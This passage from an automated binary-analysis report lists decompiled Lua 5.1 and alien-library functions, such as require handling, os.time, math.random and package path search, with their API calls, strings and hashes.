						_push(_t10);
						L00401F0C();
					}
				}
				return _t7;
			}

0x004013c0
0x004013ce
0x004013d3
0x004013d9
0x004013df
0x004013ee
0x004013f1
0x004013f8
0x004013fd
0x0040140a
0x00401412
0x0040141e
0x00401420
0x00401422
0x00401423
0x00401424
0x0040142e
0x00401430
0x00401432
0x00401434
0x00401435
0x0040143a
0x0040143c
0x0040143d
0x00401447
0x00401449
0x0040144b
0x0040144d
0x0040144e
0x00401458
0x0040145a
0x0040145a
0x00401465
0x0040146a
0x0040146c
0x0040146d
0x00401472
0x00401447
0x0040147a

APIs

lua_getfield.LUA5.1(?,FFFFD8EE,require), ref: 004013CE
lua_pushstring.LUA5.1(?,?,?,FFFFD8EE,require), ref: 004013D9
lua_gettop.LUA5.1(?,?,?,?,FFFFD8EE,require), ref: 004013DF
lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000,?,?,?,?,FFFFD8EE,require), ref: 004013F1
lua_insert.LUA5.1(?,-00000001,?,Function_000010B0,00000000,?,?,?,?,FFFFD8EE,require), ref: 004013F8
signal.MSVCR80 ref: 0040140A
lua_pcall.LUA5.1(?,00000001,00000000,-00000001,?,-00000001,?,Function_000010B0,00000000,?,?,?,?,FFFFD8EE,require), ref: 00401412
signal.MSVCR80 ref: 00401420
lua_remove.LUA5.1(?,-00000001), ref: 00401424
lua_gc.LUA5.1(?,00000002,00000000), ref: 00401435
lua_type.LUA5.1(?,000000FF,?,00000002,00000000), ref: 0040143D
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 0040144E
lua_settop.LUA5.1(?,000000FE,00000000), ref: 0040146D

Strings

(error object is not a string), xrefs: 0040145A
require, xrefs: 004013C3

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: signal$lua_gc.lua_getfield.lua_gettop.lua_insert.lua_pcall.lua_pushcclosure.lua_pushstring.lua_remove.lua_settop.lua_tolstring.lua_type.
String ID: (error object is not a string)$require
API String ID: 1114424619-1477528387
Opcode ID: 7c499a93656aebd7aa693bb811d4c6bc3a83961bdb0e30494f33f6d22160f29a
Instruction ID: caf89fb5af220a5791bbef3d86bcb2cac4474d424cf592ddb5e3ce596935b2d3
Opcode Fuzzy Hash: 7c499a93656aebd7aa693bb811d4c6bc3a83961bdb0e30494f33f6d22160f29a
Instruction Fuzzy Hash: 1511C47174122632E12136774C47F5F210C8F82B98F20023AFB14792F3EBBD960140AE

Uniqueness

Uniqueness Score: -1.00%

Function 005E3DD0, Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E005E3DD0(void* __esi) {

				_push("alien_buffer");
				L005E3FAA();
				_push(7);
				_push("__index");
				L005E3FC8();
				_push(0);
				_push(E005E3B40);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xa);
				_push("__newindex");
				L005E3FC8();
				_push(0);
				_push(E005E2F20);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xa);
				_push("__tostring");
				L005E3FC8();
				_push(0);
				_push(E005E2DE0);
				L005E3FE0();
				_push(0xfffffffd);
				L005E3FDA();
				_push(0xfffffffe);
				L005E3EF6();
				return 0;
			}

0x005e3dd0
0x005e3dd6
0x005e3ddb
0x005e3ddd
0x005e3de3
0x005e3de8
0x005e3dea
0x005e3df0
0x005e3df5
0x005e3df8
0x005e3dfd
0x005e3dff
0x005e3e05
0x005e3e0a
0x005e3e0c
0x005e3e12
0x005e3e1a
0x005e3e1d
0x005e3e22
0x005e3e24
0x005e3e2a
0x005e3e2f
0x005e3e31
0x005e3e37
0x005e3e3c
0x005e3e3f
0x005e3e44
0x005e3e47
0x005e3e51

APIs

luaL_newmetatable.LUA5.1(?,alien_buffer,005E3E79), ref: 005E3DD6
lua_pushlstring.LUA5.1(?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DE3
lua_pushcclosure.LUA5.1(?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DF0
lua_settable.LUA5.1(?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3DF8
lua_pushlstring.LUA5.1(?,__newindex,0000000A,?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer,005E3E79), ref: 005E3E05
lua_pushcclosure.LUA5.1(?,005E2F20,00000000,?,__newindex,0000000A,?,000000FD,?,005E3B40,00000000,?,__index,00000007,?,alien_buffer), ref: 005E3E12
lua_settable.LUA5.1(?,000000FD), ref: 005E3E1D
lua_pushlstring.LUA5.1(?,__tostring,0000000A,?,000000FD), ref: 005E3E2A
lua_pushcclosure.LUA5.1(?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E37
lua_settable.LUA5.1(?,000000FD,?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E3F
lua_settop.LUA5.1(?,000000FE,?,000000FD,?,005E2DE0,00000000,?,__tostring,0000000A,?,000000FD), ref: 005E3E47

Strings

__newindex, xrefs: 005E3DFF
__tostring, xrefs: 005E3E24
alien_buffer, xrefs: 005E3DD0
__index, xrefs: 005E3DDD

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushcclosure.lua_pushlstring.lua_settable.$L_newmetatable.lua_settop.
String ID: __index$__newindex$__tostring$alien_buffer
API String ID: 1410743110-2557586930
Opcode ID: 1f063eaa090bf6173066804c0fb56f4702be9ecb37195d4b1c0ebb7c756cea3d
Instruction ID: 2f117509db8ad36b1240e6e53a0d7f029fdbaa8ff46ef356ab865bfc10981185
Opcode Fuzzy Hash: 1f063eaa090bf6173066804c0fb56f4702be9ecb37195d4b1c0ebb7c756cea3d
Instruction Fuzzy Hash: D8F05951EDEAA731DB1A32230D4FF5E0C183FA2B66F210250F1B1364D66A8D1302009E

Uniqueness

Uniqueness Score: -1.00%

Function 10013FA0, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000002,1001AB10), ref: 10013FBE

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

luaL_checktype.LUA5.1(?,00000001,00000005,?,00000002,1001AB10), ref: 10013FCA

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

luaL_optinteger.LUA5.1(?,00000003,00000001,?,00000001,00000005,?,00000002,1001AB10), ref: 10013FD4

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_type.LUA5.1(?,00000004,?,00000003,00000001,?,00000001,00000005,?,00000002,1001AB10), ref: 10013FDE
lua_objlen.LUA5.1(?,00000001), ref: 10013FED
luaL_checkinteger.LUA5.1(?,00000004), ref: 10013FF7
luaL_buffinit.LUA5.1(?,?), ref: 10014007
lua_rawgeti.LUA5.1(?,00000001,00000000), ref: 10014017
lua_isstring.LUA5.1(?,000000FF,?,00000001,00000000), ref: 1001401F
luaL_argerror.LUA5.1(?,00000001,table contains non-strings), ref: 10014033
luaL_addvalue.LUA5.1(?), ref: 10014040
luaL_addlstring.LUA5.1(?,00000000,?), ref: 10014057
luaL_pushresult.LUA5.1(?), ref: 10014069

Strings

table contains non-strings, xrefs: 1001402B

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_addlstring.L_addvalue.L_argerror.L_buffinit.L_checkinteger.L_checktype.L_optinteger.L_optlstring.L_pushresult.lua_isstring.lua_objlen.lua_rawgeti.
String ID: table contains non-strings
API String ID: 958651473-358882004
Opcode ID: 5a1c501da197fc8020709a26230e6511cdc92350b2b794f11aa31fa3a5c81d35
Instruction ID: f736bd550f1392cbbc57157a1f806b7ea01512c7e557fc0dcae11719ac16d088
Opcode Fuzzy Hash: 5a1c501da197fc8020709a26230e6511cdc92350b2b794f11aa31fa3a5c81d35
Instruction Fuzzy Hash: D111DBBA64461132F510D514AC83FFF229DDB557C4F010429FB0069187FAB6FA8501A7

Uniqueness

Uniqueness Score: -1.00%

Function 100139C0, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 81COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000001), ref: 100139CB
time.MSVCRT ref: 100139D9
luaL_checktype.LUA5.1(?,00000001,00000005), ref: 100139EC
lua_settop.LUA5.1(?,00000001,?,00000001,00000005), ref: 100139F4
mktime.MSVCRT ref: 10013A7C
lua_pushnil.LUA5.1(?), ref: 10013A8F
lua_pushnumber.LUA5.1(?), ref: 10013AAC

Strings

min, xrefs: 10013A08
day, xrefs: 10013A2A
sec, xrefs: 100139FB
hour, xrefs: 10013A19
year, xrefs: 10013A50
month, xrefs: 10013A42
isdst, xrefs: 10013A64

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.lua_pushnil.lua_pushnumber.lua_settop.lua_type.mktimetime
String ID: day$hour$isdst$min$month$sec$year
API String ID: 1978836749-997413353
Opcode ID: 8c4b053dfa4f01a120b07b9f2e62d451f82bd773c0de4ff125b5ab391f12d88f
Instruction ID: 8a857ba84ffd18c7d3ef93f64a5562f14a76e3e7c05cd8f0924e4f92b0aec64c
Opcode Fuzzy Hash: 8c4b053dfa4f01a120b07b9f2e62d451f82bd773c0de4ff125b5ab391f12d88f
Instruction Fuzzy Hash: 57216DB480961076E610EB384C86B8F36D4EF4A364F008B25F659AA1C2E7B5E2C1479A

Uniqueness

Uniqueness Score: -1.00%

Function 100162F0, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

lua_pushfstring.LUA5.1(?,%s%s,LOADLIB: ,?,?,?,100161C2,?,?,00000000,?,?,10016164,?,00000000,00000000), ref: 10016306
lua_gettable.LUA5.1(?,FFFFD8F0,?,%s%s,LOADLIB: ,?,?,?,100161C2,?,?,00000000,?,?,10016164,?), ref: 10016311
lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,?,%s%s,LOADLIB: ,?,?,?,100161C2,?,?,00000000,?), ref: 10016319
lua_touserdata.LUA5.1(?,000000FF), ref: 10016328
lua_settop.LUA5.1(?,000000FE,?), ref: 10016337
lua_newuserdata.LUA5.1(?,00000004,?,000000FE,?), ref: 1001633F
lua_getfield.LUA5.1(?,FFFFD8F0,_LOADLIB,?,00000004,?,000000FE,?), ref: 10016357
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,_LOADLIB,?,00000004,?,000000FE,?), ref: 1001635F
lua_pushfstring.LUA5.1(?,%s%s,LOADLIB: ,?,?,000000FE,?,FFFFD8F0,_LOADLIB,?,00000004,?,000000FE,?), ref: 10016370
lua_pushvalue.LUA5.1(?,000000FE,?,%s%s,LOADLIB: ,?,?,000000FE,?,FFFFD8F0,_LOADLIB,?,00000004,?,000000FE,?), ref: 10016378
lua_settable.LUA5.1(?,FFFFD8F0,?,000000FE,?,%s%s,LOADLIB: ,?,?,000000FE,?,FFFFD8F0,_LOADLIB,?,00000004,?), ref: 10016383

Strings

%s%s, xrefs: 10016300, 1001636A
LOADLIB: , xrefs: 100162FB, 10016365
_LOADLIB, xrefs: 10016346

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushfstring.$lua_getfield.lua_gettable.lua_newuserdata.lua_pushvalue.lua_setmetatable.lua_settable.lua_settop.lua_touserdata.lua_type.
String ID: %s%s$LOADLIB: $_LOADLIB
API String ID: 680809540-3865023319
Opcode ID: 9232dd84dc5fced9297b8613752410f8e1d6914781eabab9d74604761d50d4a1
Instruction ID: 162198198692a2984da769e1676c60139666cb7f11b9820079c2968c455f8932
Opcode Fuzzy Hash: 9232dd84dc5fced9297b8613752410f8e1d6914781eabab9d74604761d50d4a1
Instruction Fuzzy Hash: 2601627A54953239A901E2586C42FDF224DCF871F5B200321F224762DAAF28B68341FE

Uniqueness

Uniqueness Score: -1.00%

Function 10012530, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

lua_gettop.LUA5.1(?,?,?,?,?,100124D9,?,00000000), ref: 10012539
clearerr.MSVCRT ref: 10012546
luaL_checkstack.LUA5.1(?,00000013,too many arguments,?,00000000), ref: 1001258A
lua_type.LUA5.1(?,?,?,?,?,?,00000000), ref: 100125A6
lua_tointeger.LUA5.1(?,?,?,?,?,?,?,?,00000000), ref: 100125B5

Part of subcall function 10012720: luaL_buffinit.LUA5.1(?,?,00000000,?,?,?), ref: 10012734
Part of subcall function 10012720: luaL_prepbuffer.LUA5.1(?,?,?,00000000,?,?,?), ref: 1001273E
Part of subcall function 10012720: fgets.MSVCRT ref: 10012759
Part of subcall function 10012720: luaL_prepbuffer.LUA5.1(?), ref: 10012786
Part of subcall function 10012720: fgets.MSVCRT ref: 10012794
Part of subcall function 10012720: luaL_pushresult.LUA5.1(?), ref: 100127A2
Part of subcall function 10012720: lua_objlen.LUA5.1(?,000000FF,?), ref: 100127B1

Part of subcall function 10012800: luaL_buffinit.LUA5.1(000000FF,?,00000000,?,?,?), ref: 10012814
Part of subcall function 10012800: luaL_prepbuffer.LUA5.1(?,?,?), ref: 1001283A
Part of subcall function 10012800: fread.MSVCRT ref: 1001284D
Part of subcall function 10012800: luaL_pushresult.LUA5.1(?), ref: 10012869
Part of subcall function 10012800: lua_objlen.LUA5.1(?,000000FF), ref: 10012883

luaL_argerror.LUA5.1(?,?,invalid format,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1001265C

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

Strings

too many arguments, xrefs: 10012583
invalid format, xrefs: 10012655
invalid option, xrefs: 100125F1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.$L_buffinit.L_pushresult.fgetslua_objlen.$L_argerror.L_checkstack.L_error.clearerrfreadlua_getstack.lua_gettop.lua_tointeger.lua_type.
String ID: invalid format$invalid option$too many arguments
API String ID: 2417420854-1309040029
Opcode ID: d7e85bc8049e4060eca9a77a84cae6b6faed82dd468bf8e4a64dc6b551f185ea
Instruction ID: 5b255e77e8ec04b713b26f643ab9b2728369514ed90db6555c98430134d4c24b
Opcode Fuzzy Hash: d7e85bc8049e4060eca9a77a84cae6b6faed82dd468bf8e4a64dc6b551f185ea
Instruction Fuzzy Hash: 5B3126FA90561527D202CA246C42FAF768DCF821D9F040225F8049D183FA36FAB641BB

Uniqueness

Uniqueness Score: -1.00%

Function 10011BC0, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 10011BDE
fgets.MSVCRT ref: 10011BF1
luaL_loadbuffer.LUA5.1(?,?,?,=(debug command)), ref: 10011C5D
lua_pcall.LUA5.1(?,00000000,00000000,00000000), ref: 10011C6D
lua_tolstring.LUA5.1(?,000000FF,00000000,759745C0), ref: 10011C88
fputs.MSVCRT ref: 10011C91
fputs.MSVCRT ref: 10011CA2
lua_settop.LUA5.1(?,00000000), ref: 10011CAA
fputs.MSVCRT ref: 10011CBD
fgets.MSVCRT ref: 10011CD0

Strings

=(debug command), xrefs: 10011C4C
cont, xrefs: 10011C09
lua_debug> , xrefs: 10011BD9, 10011CB8

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: fputs$fgets$L_loadbuffer.lua_pcall.lua_settop.lua_tolstring.
String ID: =(debug command)$cont$lua_debug>
API String ID: 496144354-3721951588
Opcode ID: 588ae5eca8523f5725b35548e8d21325bece9f8a646893c0fcda5f2a817e0c63
Instruction ID: dd15bfc192eda74ecd1c27d1dc96f8bcf05885e36f6e9186d248232a4aa7a0df
Opcode Fuzzy Hash: 588ae5eca8523f5725b35548e8d21325bece9f8a646893c0fcda5f2a817e0c63
Instruction Fuzzy Hash: 663126B5540346ABF318CB349C82FF333EDFB45294F018654FA998A2C2EA31F94482A5

Uniqueness

Uniqueness Score: -1.00%

Function 100133B0, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

rand.MSVCRT ref: 100133BC
lua_gettop.LUA5.1(?), ref: 100133E0
luaL_error.LUA5.1(?,wrong number of arguments), ref: 100133FD

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

luaL_checkinteger.LUA5.1(?,00000001), ref: 1001340F
luaL_checkinteger.LUA5.1(?,00000002,?,00000001), ref: 1001341D
luaL_argerror.LUA5.1(?,00000002,interval is empty), ref: 10013433
floor.MSVCRT ref: 10013450
luaL_checkinteger.LUA5.1(?,00000001), ref: 10013462
luaL_argerror.LUA5.1(?,00000001,interval is empty), ref: 1001347B
floor.MSVCRT ref: 10013491
lua_pushnumber.LUA5.1(?,?,?), ref: 100134AD

Strings

wrong number of arguments, xrefs: 100133F7
interval is empty, xrefs: 1001342B, 10013473

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkinteger.$L_argerror.floor$L_error.L_where.lua_concat.lua_error.lua_gettop.lua_pushnumber.lua_pushvfstring.rand
String ID: interval is empty$wrong number of arguments
API String ID: 252998509-2060003781
Opcode ID: 893e94d1bea3f3850c278cbecdf344832d0b7c5ab6799491603f2278ee0dbb40
Instruction ID: 900148f895d8da72e75da7c1b250d4fead81e5aa23b2c00703922eb8c7280d23
Opcode Fuzzy Hash: 893e94d1bea3f3850c278cbecdf344832d0b7c5ab6799491603f2278ee0dbb40
Instruction Fuzzy Hash: 88212B31918710DBE301EF24EC466AE7BE8FF81354F008529F5C596182EA71EAA583E7

Uniqueness

Uniqueness Score: -1.00%

Function 100163F0, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

luaL_gsub.LUA5.1(?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?,00000000,path,?,00000001,00000000), ref: 10016408

Part of subcall function 1000F840: luaL_buffinit.LUA5.1(?,?), ref: 1000F86C
Part of subcall function 1000F840: strstr.MSVCRT ref: 1000F87A
Part of subcall function 1000F840: luaL_addlstring.LUA5.1(?,?,00000000), ref: 1000F894
Part of subcall function 1000F840: luaL_addstring.LUA5.1(?,?,?,?,00000000), ref: 1000F8A6
Part of subcall function 1000F840: strstr.MSVCRT ref: 1000F8B0
Part of subcall function 1000F840: luaL_addstring.LUA5.1(?,?), ref: 1000F8C5
Part of subcall function 1000F840: luaL_pushresult.LUA5.1(?,?,?), ref: 1000F8CF
Part of subcall function 1000F840: lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,?), ref: 1000F8E0

lua_getfield.LUA5.1(?,FFFFD8EF,?,?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?,00000000,path,?), ref: 1001641A

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_tolstring.LUA5.1(?,000000FF,00000000,?,FFFFD8EF,?,?,?,1001939C,1001A8F0,?,?,?,?,100163BC,?), ref: 10016424
luaL_error.LUA5.1(?,'package.%s' must be a string,?), ref: 10016439

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_pushlstring.LUA5.1(?,1001AB10,00000000), ref: 10016449
lua_tolstring.LUA5.1(?,000000FF,00000000,10019034,00000000), ref: 10016469
luaL_gsub.LUA5.1(?,00000000,?,10019034,00000000), ref: 10016473
lua_remove.LUA5.1(?,000000FE,?,00000000,?,10019034,00000000), ref: 1001647D
lua_pushfstring.LUA5.1(?,no file '%s',00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 10016496
lua_remove.LUA5.1(?,000000FE,?,no file '%s',00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 1001649E
lua_concat.LUA5.1(?,00000002,?,000000FE,?,no file '%s',00000000), ref: 100164A6

Strings

'package.%s' must be a string, xrefs: 10016433
no file '%s', xrefs: 10016490

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$L_addstring.L_gsub.lua_concat.lua_remove.strstr$L_addlstring.L_buffinit.L_error.L_pushresult.L_where.S_newlstr.lua_error.lua_getfield.lua_pushfstring.lua_pushlstring.lua_pushvfstring.
String ID: no file '%s'$'package.%s' must be a string
API String ID: 484101349-3979748282
Opcode ID: 2d5474ebd45e96a175c4364572e84b5dcdea676b8dc3adb95eeffef36c7b2672
Instruction ID: ec2732b1719a14bd356e6ea88359e8bd456c67a1c8f05426e50088886b804c68
Opcode Fuzzy Hash: 2d5474ebd45e96a175c4364572e84b5dcdea676b8dc3adb95eeffef36c7b2672
Instruction Fuzzy Hash: 4411827960562237E501E1A55C82FEF219DCF8A1F4F154234FA14B9187EF69FA8301BA

Uniqueness

Uniqueness Score: -1.00%

Function 005E3A10, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E005E3A10(int __eax, intOrPtr _a4) {
				int _v4;
				int _t5;
				void* _t8;
				void* _t10;
				intOrPtr _t11;
				void* _t12;
				void* _t13;
				void* _t14;

				_t5 = __eax;
				_t11 = _a4;
				_push(1);
				_push(_t11);
				L005E3F0E();
				_t8 = __eax;
				_t13 = _t12 + 8;
				if(__eax == 0) {
					_push("userdata, or light userdata");
					_push(1);
					_push(_t11);
					L005E3FEC();
					_t13 = _t13 + 0xc;
				}
				_push(2);
				_push(_t11);
				L005E3F50();
				_t14 = _t13 + 8;
				if(_t5 == 0) {
					_push(2);
					_push(_t11);
					L005E3F56();
					_t14 = _t14 + 8;
					if(_t5 == 0) {
						_push("string, userdata, or light userdata");
						_push(2);
						_push(_t11);
						L005E3FEC();
						_t14 = _t14 + 0xc;
					}
				}
				_push(2);
				_push(_t11);
				L005E3F50();
				if(_t5 == 0) {
					_t5 =  &_v4;
					_push(_t5);
					_push(2);
					_push(_t11);
					L005E3F5C();
					_push(_v4);
					_push(3);
					_push(_t11);
					_t10 = _t5;
					L005E3FC2();
				} else {
					_push(2);
					_push(_t11);
					L005E3F0E();
					_push(3);
					_push(_t11);
					_t10 = _t5;
					L005E3FCE();
				}
				_v4 = _t5;
				if(_t5 > 0) {
					memcpy(_t8, _t10, _t5);
				}
				return 0;
			}

0x005e3a10
0x005e3a13
0x005e3a18
0x005e3a1a
0x005e3a1b
0x005e3a20
0x005e3a22
0x005e3a27
0x005e3a29
0x005e3a2e
0x005e3a30
0x005e3a31
0x005e3a36
0x005e3a36
0x005e3a39
0x005e3a3b
0x005e3a3c
0x005e3a41
0x005e3a46
0x005e3a48
0x005e3a4a
0x005e3a4b
0x005e3a50
0x005e3a55
0x005e3a57
0x005e3a5c
0x005e3a5e
0x005e3a5f
0x005e3a64
0x005e3a64
0x005e3a55
0x005e3a67
0x005e3a69
0x005e3a6a
0x005e3a74
0x005e3a8d
0x005e3a91
0x005e3a92
0x005e3a94
0x005e3a95
0x005e3a9e
0x005e3a9f
0x005e3aa1
0x005e3aa2
0x005e3aa4
0x005e3a76
0x005e3a76
0x005e3a78
0x005e3a79
0x005e3a7e
0x005e3a80
0x005e3a81
0x005e3a83
0x005e3a88
0x005e3aae
0x005e3ab2
0x005e3ab7
0x005e3abc
0x005e3ac5

APIs

lua_touserdata.LUA5.1(?,00000001), ref: 005E3A1B
luaL_typerror.LUA5.1(?,00000001,userdata, or light userdata), ref: 005E3A31
lua_isuserdata.LUA5.1(?,00000002), ref: 005E3A3C
lua_isstring.LUA5.1(?,00000002), ref: 005E3A4B
luaL_typerror.LUA5.1(?,00000002,string, userdata, or light userdata), ref: 005E3A5F
lua_isuserdata.LUA5.1(?,00000002), ref: 005E3A6A
lua_touserdata.LUA5.1(?,00000002), ref: 005E3A79
luaL_checkinteger.LUA5.1(?,00000003,?,00000002), ref: 005E3A83
lua_tolstring.LUA5.1(?,00000002,?), ref: 005E3A95
luaL_optinteger.LUA5.1(?,00000003,?,?,00000002,?), ref: 005E3AA4
memcpy.MSVCR80 ref: 005E3AB7

Strings

userdata, or light userdata, xrefs: 005E3A29
string, userdata, or light userdata, xrefs: 005E3A57

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

